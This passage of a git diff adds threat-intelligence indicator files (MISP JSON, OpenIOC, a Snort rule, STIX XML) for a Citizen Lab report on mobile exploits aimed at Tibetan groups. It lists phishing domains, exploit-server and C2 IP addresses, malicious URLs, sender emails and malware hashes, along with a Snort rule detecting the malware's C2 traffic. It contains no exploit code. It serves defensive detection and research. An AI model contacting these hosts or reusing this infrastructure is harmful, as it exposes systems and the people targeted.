"ornaments798@outlook.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18542", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c70f-df94-4cd0-b977-4cea8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072039", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.energy-mail.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18546", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-95a0-4186-9d08-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "antmoving.online", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18547", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-be94-4716-9cc3-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "beemail.online", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18548", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-0998-4c3d-94fa-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bf.mk", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18549", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-77cc-4a32-b989-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "energy-mail.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18550", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-a620-4e86-969b-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gmailapp.me", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18551", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-8960-4e6c-be1c-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "izelense.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18552", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-52b4-4bb9-b61b-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailanalysis.services", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18553", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-1b78-4933-98f8-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailcontactanalysis.online", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18554", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-3358-4897-a52b-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailnotes.online", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18555", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-6be4-4b4a-9a37-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "polarismail.services", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18556", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-0cb4-4be5-b3d6-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rf.mk", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18557", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c98c-f230-436d-a69f-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065932", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "walkingnote.online", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18406", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5bec8d6d-71e0-40b6-add8-171c8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1542229375", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.msap.services", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18407", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5bec8d6d-6cc8-4aef-b8c9-171c8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1542229378", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "msap.services", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18544", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c7a0-2dac-4e65-a0ca-67208064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065440", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "45.32.75.217", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18545", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76c7a0-3c28-4110-aa88-67208064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569015557", + "comment": "Android exploit server", + "sharing_group_id": "0", + "deleted": false, + "value": "45.76.149.154", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18560", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76cc33-7aac-4eb8-a1be-66c48064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072048", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "45.78.79.100", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18561", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76cf56-94f8-4a16-84d5-67af8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568067414", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "149.28.93.11", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18562", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76d19b-0704-42fa-95c5-61df8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072087", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "95.169.2.57", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18563", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76d6f2-f44c-4b21-ba2d-67578064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568069362", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "206.189.65.198", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18564", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76dae6-bdc4-4cca-8161-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568070374", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "140.82.17.222", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18565", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76dcf6-f094-47a0-8fd4-4cea8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072101", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "45.76.53.26", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18566", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5d76de15-2544-4f39-baed-61db8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568071189", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "45.32.91.137", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18408", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5bec8d7b-b658-4050-8b3c-45cc8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569015678", + "comment": "iOS exploit server", + "sharing_group_id": "0", + "deleted": false, + "value": "144.202.59.23", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18410", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5bed8343-d968-4c72-a106-2b328064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569015608", + "comment": "iOS C2", + "sharing_group_id": "0", + "deleted": false, + "value": "66.42.58.59", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18411", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5bed84bf-8710-4cba-b9eb-05688064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1542292671", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "43.251.16.87", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18511", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-b878-442a-b476-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2z1WayM", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18512", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-b644-45e2-a9d7-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/1R7mqD", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18513", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-14c4-4b77-85be-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2AYy61a", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18514", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-f8f0-4399-a2ae-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http\/\/www.msap.services\/2bKr8Z", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18515", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-a174-4130-a62c-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/6FeBOy", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18516", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-ce00-497f-9284-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/suo.im\/5ot25j", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18517", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-1708-4847-8b18-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/news.cmitcsubs.tk:5000\/web\/info?org=aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL29wZW4\/aWQ9MUlTakl2eFoxX1g5YkdJSnQtMlpKeDRDRWwzdVVhRmlv", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18518", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-bb64-4b8d-b773-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/yHJbS6", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18519", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-d218-49a3-96f3-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2qHg3Xt", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18520", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-0658-494c-afb4-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/S5gDoN", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18521", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-8624-44df-8338-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2T2CoeX", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18522", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-1170-4f0e-ade3-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/EzpOhU", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18523", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-578c-4a96-88fe-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2PSvdau", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18524", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-7058-403d-a9b1-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/GfHuRi", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18525", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-5824-4b00-8dda-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/suo.im\/5okeFb", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18526", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-b8ec-438c-8161-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/news.cmitcsubs.tk:5000\/web\/info?org=aHR0cHM6Ly93d3cubnl0aW1lcy5jb20vMjAxOC8xMS8wMi9vYml0dWFyaWVzL2xvZGktZ3lhcmktZGVhZC5odG1s", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18527", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-a530-4671-8fab-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2SVPqdY", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18528", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-bd08-4528-9fab-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/F8XGNe", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18529", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-936c-411b-a0c9-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2QroNMt", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18530", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-2f9c-40b2-8cd5-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/70FtQX", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18531", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-2150-4f97-80c4-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/msap.services\/yHJbS6", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18532", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-0d28-4b27-9ac6-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2B4GwEf", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18533", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d3-8604-4125-b369-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/XgL5A9", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18534", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-7398-45b0-b5e9-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065235", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2T6pCMf", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18535", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-0854-4d51-8fb7-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065236", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/ZpzstM", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18536", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-2fb8-46f2-a589-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065236", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2Drl90q", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18537", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-12f0-4f58-9a9b-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065236", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/www.msap.services\/ZQfqzs", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18538", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-c2a8-4ee3-bf3d-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065236", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/bit.ly\/2MgSRwL", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18539", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-52b4-413f-bf04-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065236", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.energy-mail.org\/B20V54", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18540", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-dde0-484e-ac13-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065236", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/bit.ly\/2XePmYt", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18541", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c6d4-3b64-4591-b0df-61de8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065236", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/45.76.149.154:5000\/web\/info?org=aHR0cDovL3d3dy5waGF5dWwuY29tL25ld3MvYXJ0aWNsZS5hc3B4P2lkPTQxNDc0JmZiY2xpZD1Jd0FSM1RadGdjanppUkhNZFJuOEdhZ1RMUV9iMHFrX0VBZWY2YldxRU5SanhaZkkzRFdPNFpsRExPcFdz", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18543", + "type": "url", + "category": "Network activity", + "to_ids": false, + "uuid": "5d76c730-b4c0-4746-af7e-61db8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065328", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/43.251.16.87:5000\/\/dev\/loader", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18576", + "type": "user-agent", + "category": "Network activity", + "to_ids": true, + "uuid": "5d892cd4-fba0-4c21-90d9-0b328064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569270996", + "comment": "Scotch user agent", + "sharing_group_id": "0", + "deleted": false, + "value": "hots scot", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18568", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d76e2eb-abe8-44bb-8dbf-67578064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072427", + "comment": "OAuth email addresses", + "sharing_group_id": "0", + "deleted": false, + "value": "antmoving.online@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18569", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d76e2eb-df2c-4913-b458-67578064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072427", + "comment": "OAuth email addresses", + "sharing_group_id": "0", + "deleted": false, + "value": "energymail.org@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18570", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d76e2eb-e004-41d8-bc9d-67578064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072427", + "comment": "OAuth email addresses", + "sharing_group_id": "0", + "deleted": false, + "value": "jameslewis199106@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18571", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d76e2eb-37c8-4b75-b5d7-67578064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072427", + "comment": "OAuth email addresses", + "sharing_group_id": "0", + "deleted": false, + "value": "touchxun658@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18572", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d8545bf-ec98-4d0c-a8a3-55038064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569015231", + "comment": "libbourbon", + "sharing_group_id": "0", + "deleted": false, + "value": "6977e6098815cd91016be9d76f194ed4622640d03c6cdd66b1032306a2190af7", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18573", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d8545d4-ee30-435b-827e-55078064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569015252", + "comment": "Whisky", + "sharing_group_id": "0", + "deleted": false, + "value": "e510c361c8101384277dd95cc2c8e76715dd241f58553f592245b620422beaf3", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18574", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d8545e3-c264-43d8-9666-55068064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569015267", + "comment": "Scotch", + "sharing_group_id": "0", + "deleted": false, + "value": "0d13e403303b52edae6beb76a6fe7ed454f340aae1246b9a3f55ca728da2d6aa", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18575", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5d854603-8bf4-44fe-96ae-47ce8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1569015299", + "comment": "Loader", + "sharing_group_id": "0", + "deleted": false, + "value": "b85fe634f3c5b1022a1adbc21f3b85b58451ca2b89e9380fc5f22b9340a18b88", + "SharingGroup": [], + "ShadowAttribute": [] + } + ], + "ShadowAttribute": [], + "RelatedEvent": [], + "Tag": [] + } +}]} diff --git a/data/ioc/spyware/citizen_lab/201909_MissingLink/openioc.ioc b/data/ioc/spyware/citizen_lab/201909_MissingLink/openioc.ioc new file mode 100644 index 0000000..7ca2d5a --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201909_MissingLink/openioc.ioc @@ -0,0 +1,129 @@ + + + Event #140 + MISSING LINK: Tibetan Groups Targeted with Mobile Exploits + + citizenlab + 2019-09-24T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201909_MissingLink/snort.rules b/data/ioc/spyware/citizen_lab/201909_MissingLink/snort.rules new file mode 100644 index 0000000..9359a57 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201909_MissingLink/snort.rules @@ -0,0 +1 @@ +alert tcp $HOME_NET any -> $EXTERNAL_NET 10011 (msg:"MOONSHINE payload C2 activity"; flow:established,to_server; content:"GET"; content:"/ws?whisky_id|3d|"; content:"User-Agent: hots scot"; content:"Upgrade: websocket"; reference:url,https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits; classtype:trojan-activity; sid:3000003; rev:1;) diff --git a/data/ioc/spyware/citizen_lab/201909_MissingLink/stix.xml b/data/ioc/spyware/citizen_lab/201909_MissingLink/stix.xml new file mode 100644 index 0000000..020c66d --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201909_MissingLink/stix.xml @@ -0,0 +1,1623 @@ + + + Export from MISP + Threat Report + + + + + + MISSING LINK: Tibetan Groups Targeted with Mobile Exploits (MISP Event #140) + Threat Report + + + + MISSING LINK: Tibetan Groups Targeted with Mobile Exploits + 140 + + 2019-09-24T00:00:00+00:00 + 2019-09-23T16:39:10+00:00 + + Open + + + Artifacts dropped + + Artifacts dropped: 0d2ee9ade24163613772fdda201af985d852ab506e3d3e7f07fb3fa8b0853560 (MISP Attribute #18567) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 0d2ee9ade24163613772fdda201af985d852ab506e3d3e7f07fb3fa8b0853560 (MISP Attribute #18567) + + + + + + + SHA256 + 0d2ee9ade24163613772fdda201af985d852ab506e3d3e7f07fb3fa8b0853560 + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: dashenqu832@outlook.com (MISP Attribute #18558) + Malware Artifacts + Attribution: dashenqu832@outlook.com (MISP Attribute #18558) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: ornaments798@outlook.com (MISP Attribute #18559) + Malware Artifacts + Attribution: ornaments798@outlook.com (MISP Attribute #18559) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.energy-mail.org (MISP Attribute #18542) + Malware Artifacts + Domain Watchlist + Network activity: www.energy-mail.org (MISP Attribute #18542) + + + + + www.energy-mail.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: antmoving.online (MISP Attribute #18546) + Malware Artifacts + Domain Watchlist + Network activity: antmoving.online (MISP Attribute #18546) + + + + + antmoving.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: beemail.online (MISP Attribute #18547) + Malware Artifacts + Domain Watchlist + Network activity: beemail.online (MISP Attribute #18547) + + + + + beemail.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bf.mk (MISP Attribute #18548) + Malware Artifacts + Domain Watchlist + Network activity: bf.mk (MISP Attribute #18548) + + + + + bf.mk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: energy-mail.org (MISP Attribute #18549) + Malware Artifacts + Domain Watchlist + Network activity: energy-mail.org (MISP Attribute #18549) + + + + + energy-mail.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gmailapp.me (MISP Attribute #18550) + Malware Artifacts + Domain Watchlist + Network activity: gmailapp.me (MISP Attribute #18550) + + + + + gmailapp.me + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for 